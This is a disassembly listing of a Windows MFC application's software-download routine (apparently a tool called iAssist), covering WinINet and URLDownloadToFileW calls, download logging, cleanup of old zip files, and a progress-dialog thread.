call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
lea rcx, [rsp + 0x170]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::HitTest]
test al, al
je 0x1400a2e34
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x640]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x1578]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rdx, rax
lea rcx, [rsp + 0x1580]
call fcn.1400fec60
nop
mov rdx, rax
lea rcx, [rsp + 0xc0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1580]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov edx, 0x2f
lea rcx, [rsp + 0xc0]
call qword [sym.imp.mfc140u.dll_COleControl::ReleaseCaches]
mov ebx, eax
lea rcx, [rsp + 0xc0]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x1588]
lea rcx, [rsp + 0xc0]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x370]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1588]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x638]
call fcn.1400fd610
nop
lea rdx, [rsp + 0x638]
lea rcx, [rsp + 0x230]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea rcx, [rsp + 0x230]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rcx, rax
call fcn.1400e44b0
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x230]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea r8, [rsp + 0x370]
lea rdx, [rsp + 0x230]
lea rcx, [rsp + 0xc8]
call fcn.140006490
nop
lea rcx, [rsp + 0xc8]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + reloc.mfc140u.dll_COleControlSite::GetEventIID]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
cmp al, 1
jne 0x1400a2f44
lea rax, [rsp + 0x1598]
mov qword [rsp + 0x58], rax
lea rdx, [0x140153b2c]
lea rcx, [rsp + 0x1598]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
lea rdx, str.Start_of_utils::downloadSoftwares_deleting_old_.zip_files
lea rcx, [rsp + 0x15a0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
lea rcx, [rsp + 0xc8]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rsp + 0x370]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rcx, rax
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntryW]
nop
mov ecx, 0x280
call sub.mfc140u.dll_CMFCRibbonInfo::XElementButtonLinkCtrl::XElementButtonLinkCtrl
mov qword [rsp + 0x58], rax
test rax, rax
je 0x1400a2f82
xor edx, edx
mov rcx, rax
call fcn.14003ff90
mov r13, rax
xor r14d, r14d
jmp 0x1400a2f88
xor r14d, r14d
mov r13d, r14d
lea rax, [rsp + 0x15a8]
mov qword [rsp + 0x58], rax
lea rdx, [0x14014f8c8]
lea rcx, [rsp + 0x15a8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
lea rdx, str.DownloadSoftware_condition__:_Started_the_thread_for_running_Download_Progress_Dialog
lea rcx, [rsp + reloc.mfc140u.dll_CDaoQueryDef::GetFieldCount]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rdx, r13
lea rcx, [0x1400b7200]
call sub.mfc140u.dll_AFX_WM_ON_MOVETABCOMPLETE
mov rsi, rax
lea rcx, [rsp + 0xf8]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rdx, [0x14014f8c8]
lea rcx, [rsp + 0x630]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
call sub.mfc140u.dll_AfxFieldText
mov rdx, qword [rax + 8]
add rdx, 0x3d8
lea rcx, [rsp + reloc.mfc140u.dll_CMapStringToOb::CMapStringToOb]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea rcx, [rsp + reloc.mfc140u.dll_CMapStringToOb::CMapStringToOb]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::HitTest]
test al, al
jne 0x1400a3292
call sub.mfc140u.dll_AfxFieldText
mov rdx, qword [rax + 8]
add rdx, 0x3e0
lea rcx, [rsp + 0xa38]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea rdx, [0x140153cf8]
lea rcx, [rsp + 0xa18]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0xa18]
lea rdx, [rsp + reloc.mfc140u.dll_CMapStringToOb::CMapStringToOb]
lea rcx, [rsp + 0x15b8]
call fcn.140006490
nop
lea r8, [rsp + 0xa38]
mov rdx, rax
lea rcx, [rsp + 0xa30]
call fcn.140006490
nop
lea rcx, [rsp + 0x15b8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xa18]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [rsp + 0xa30]
lea rcx, [rsp + 0x15c0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov r8, rax
lea rdx, [rsp + 0x620]
mov rcx, qword [rsp + 0x148]
call fcn.1400b3160
nop
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x630]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
call sub.mfc140u.dll_AfxFieldText
mov rdx, qword [rax + 8]
add rdx, 0x390
lea rcx, [rsp + 0x490]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
xor r8d, r8d
lea rdx, [0x14016d988]
lea rcx, [rsp + 0x490]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rdx, [0x14015ed7c]
lea rcx, [rsp + 0xa20]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0xa20]
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x15d0]
call fcn.140006490
nop
mov rcx, rax
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov r8, rax
lea edx, [rbx + 2]
lea rcx, [rsp + 0x490]
call qword [sym.imp.mfc140u.dll_CDaoRecordset::GetValidationText]
nop
lea rcx, [rsp + 0x15d0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xa20]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, str._api_download_software_name
lea rcx, [rsp + 0xa28]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0xa28]
lea rdx, [rsp + 0x490]
lea rcx, [rsp + 0x15e0]
call fcn.140006490
nop
lea r8, [rsp + 0x640]
mov rdx, rax
lea rcx, [rsp + 0x15d8]
call fcn.140006490
nop
mov rdx, rax
lea rcx, [rsp + 0xf8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x15d8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x15e0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xa28]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x490]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x620]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xa30]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xa38]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400a3316
lea rcx, [rsp + 0x170]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::HitTest]
lea rcx, [rsp + 0xf8]
test al, al
jne 0x1400a32bc
lea rdx, [rsp + 0x170]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
jmp 0x1400a3316
lea rdx, [rsp + 0xc0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
lea rax, [rsp + 0x15e8]
mov qword [rsp + 0x58], rax
lea rdx, [0x14014f8c8]
lea rcx, [rsp + 0x15e8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
lea rdx, str.DownloadSoftware_condition__:_Started_the_download
lea rcx, [rsp + 0x15f0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
lea rcx, [rsp + reloc.mfc140u.dll_CMapStringToOb::CMapStringToOb]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::HitTest]
test al, al
jne 0x1400a3750
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov edi, 1
mov edx, edi
lea rcx, str.iAssist
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r12, rax
lea rcx, [rsp + 0x498]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
mov r8, r12
lea rdx, [0x14016d9e4]
lea rcx, [rsp + 0x498]
call qword [sym.imp.mfc140u.dll_CMFCZoomKernel::Filter]
lea rdx, [0x14014f8c8]
lea rcx, [rsp + 0x498]
call fcn.14000d8d0
test al, al
je 0x1400a33d8
lea rax, [rsp + 0x15f8]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x498]
lea rcx, [rsp + 0x15f8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, str.DownloadSoftware_InternetOpen:
lea rcx, [rsp + 0x1600]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8d, [rdi - 2]
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
test r12, r12
je 0x1400a364b
lea r8, [rsp + 0x630]
lea rdx, str.Authorization:_Basic
lea rcx, [rsp + 0x1608]
call fcn.14009c1e0
mov rcx, rax
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rbx, rax
lea rcx, [rsp + 0xf8]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rdx, rax
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0xffffffff
mov r8, rbx
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
lea rcx, [rsp + 0x1608]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rax, [rsp + 0x1610]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x1610]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov qword [rsp + 0x148], rax
lea rdx, str.Path_of_Download_:
lea rcx, [rsp + 0x1618]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, 0xffffffff
mov rdx, qword [rsp + 0x148]
mov rcx, rax
call fcn.14010a9a0
test rbx, rbx
jne 0x1400a3543
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rcx, [rsp + 0x628]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
mov r8d, ebx
lea rdx, [0x14016da54]
lea rcx, [rsp + 0x628]
call qword [sym.imp.mfc140u.dll_CMFCZoomKernel::Filter]
lea rax, [rsp + 0x1620]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x628]
lea rcx, [rsp + 0x1620]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, str.Failed_to_open_URL:_Error_code:
lea rcx, [rsp + reloc.mfc140u.dll_CMFCMenuBar::GetHelpCombobox]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
nop
lea rcx, [rsp + 0x628]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x1400a373d
lea rcx, [rsp + 0x2340]
call sub.mfc140u.dll_CEnumArray::CEnumArray
nop
lea rcx, [rsp + 0xc8]
call qword [sym.imp.mfc140u.dll_Ordinal_6717]
mov rdx, rax
xor r9d, r9d
mov r8d, 0x1001
lea rcx, [rsp + 0x2340]
call sub.mfc140u.dll_COleControl::OnSysKeyDown
test eax, eax
jne 0x1400a35d2
lea rax, [rsp + 0x1630]
mov qword [rsp + 0x58], rax
lea rdx, [0x140153b2c]
lea rcx, [rsp + 0x1630]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov qword [rsp + 0x148], rax
lea rdx, str.Failed_to_create_the_output_file.
lea rcx, [rsp + 0x1638]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, 0xffffffff
mov rdx, qword [rsp + 0x148]
mov rcx, rax
call fcn.14010a9a0
lea r9, [rsp + 0x740]
mov r8d, 0x1000
lea rdx, [rsp + 0x10d00]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400a3619
mov r8d, dword [rsp + 0x740]
test r8d, r8d
je 0x1400a3619
lea rdx, [rsp + 0x10d00]
lea rcx, [rsp + 0x2340]
call sub.mfc140u.dll_CMFCToolBarsCustomizeDialog::ShowToolBar
jmp 0x1400a35d2
lea rcx, [rsp + 0x2340]
call sub.mfc140u.dll_CWinAppEx::CleanState
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
lea rcx, [rsp + 0x2340]
call sub.mfc140u.dll_CDockingManager::CDockingManager
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x1400a373d
lea rcx, [rsp + 0xc8]
call qword [sym.imp.mfc140u.dll_Ordinal_6717]
mov rbx, rax
lea rcx, [rsp + 0xf8]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rdx, rax
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8, rbx
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileW
mov r12d, eax
lea rax, [rsp + 0x1640]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x1640]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, str.PathofDownload:
lea rcx, [rsp + 0x1648]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
mov edx, r12d
lea rcx, [rsp + 0xa40]
call fcn.1400e1a50
nop
lea rax, [rsp + 0x1650]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0xa40]
lea rcx, [rsp + 0x1650]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, str.HRESULT_HR:
lea rcx, [rsp + 0x1658]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
nop
lea rcx, [rsp + 0xa40]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x498]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400a3844
lea rcx, [rsp + 0xc8]
call qword [sym.imp.mfc140u.dll_Ordinal_6717]
mov rbx, rax
lea rcx, [rsp + 0xf8]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rdx, rax
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8, rbx
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileW
mov edi, eax
lea rax, [rsp + 0x1660]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x1660]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, str.PathofDownload:
lea rcx, [rsp + 0x1668]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
mov edx, edi
lea rcx, [rsp + 0xa48]
call fcn.1400e1a50
nop
lea rax, [rsp + 0x1670]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0xa48]
lea rcx, [rsp + 0x1670]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, str.HRESULT_HR:
lea rcx, [rsp + 0x1678]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
nop
lea rcx, [rsp + 0xa48]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov edi, 1
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [r13 + 0x278], 1
mov rdx, rdi
mov rcx, r13
call fcn.140040310
mov dword [rsp + 0x260], r14d
test rsi, rsi
je 0x1400a38f8
lea rdx, [rsp + 0x260]
mov rcx, qword [rsi + 0x58]
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [rsp + 0x260], 0x103
jne 0x1400a38f4
xor edx, edx
mov rcx, qword [rsi + 0x58]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rax, [rsp + 0x1680]
mov qword [rsp + 0x58], rax
lea rdx, [0x14014f8c8]
lea rcx, [rsp + 0x1680]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
lea rdx, str.DownloadSoftware_condition__:_Killed_the_thread
lea rcx, [rsp + 0x1688]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
mov rcx, qword [rsi + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsi + 0x58], r14
lea rcx, [rsp + reloc.mfc140u.dll_CMapStringToOb::CMapStringToOb]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x630]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xf8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
mov rdi, qword [rsp + 0x60]
mov r14, qword [rsp + 0x68]
jmp 0x1400a3959
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x16b0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
cmp al, 1
jne 0x1400a3a7a
xor r8d, r8d
lea rdx, str..xlsx
lea rcx, [rsp + 0xc8]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a3a11
lea rdx, str.sTemp.csv
lea rcx, [rsp + 0xa50]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0xa50]
lea rdx, [rsp + 0x638]
lea rcx, [rsp + 0x16b8]
call fcn.140006490
mov rcx, rax
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rbx, rax
lea rcx, [rsp + 0xc8]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wrename]
lea rcx, [rsp + 0x16b8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xa50]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov sil, 1
xor r8d, r8d
lea rdx, str..zip
lea rcx, [rsp + 0xc8]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a3a93
lea rax, [rsp + 0x16c0]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x16c0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, [rsp + 0x230]
lea rcx, [rsp + 0x16c8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
mov rdx, rbx
mov rcx, rax
call fcn.14010a730
jmp 0x1400a3a93
lea rcx, [rsp + 0x230]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rcx, rax
call fcn.1400e44b0
xor sil, sil
lea rcx, [rsp + 0xc8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x230]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x638]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x370]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x640]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x170]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x16d0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xc0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xa58]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov r12, qword [rsp + 0x240]
jmp 0x1400acb9c
xor r8d, r8d
lea rdx, str.DownloadSoftwareProgressBar
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400a3c9c
lea edx, [r8 + 0x28]
call qword [sym.imp.mfc140u.dll_CPaneFrameWnd::EnterDragMode]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x228]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov edx, 0x29
lea rcx, [rsp + 0x228]
call qword [sym.imp.mfc140u.dll_COleControl::ReleaseCaches]
mov r8d, eax
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x228]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x228]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x16d8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x228]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
xor edx, edx
lea rcx, [rsp + 0x2a60]
call fcn.14003ff90
nop
lea rdx, [rsp + 0x228]
lea rcx, [rsp + 0x16e0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
mov qword [rsp + 0x58], rax
mov rdx, rax
lea rcx, [rsp + 0x2cd0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
mov rcx, rbx
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
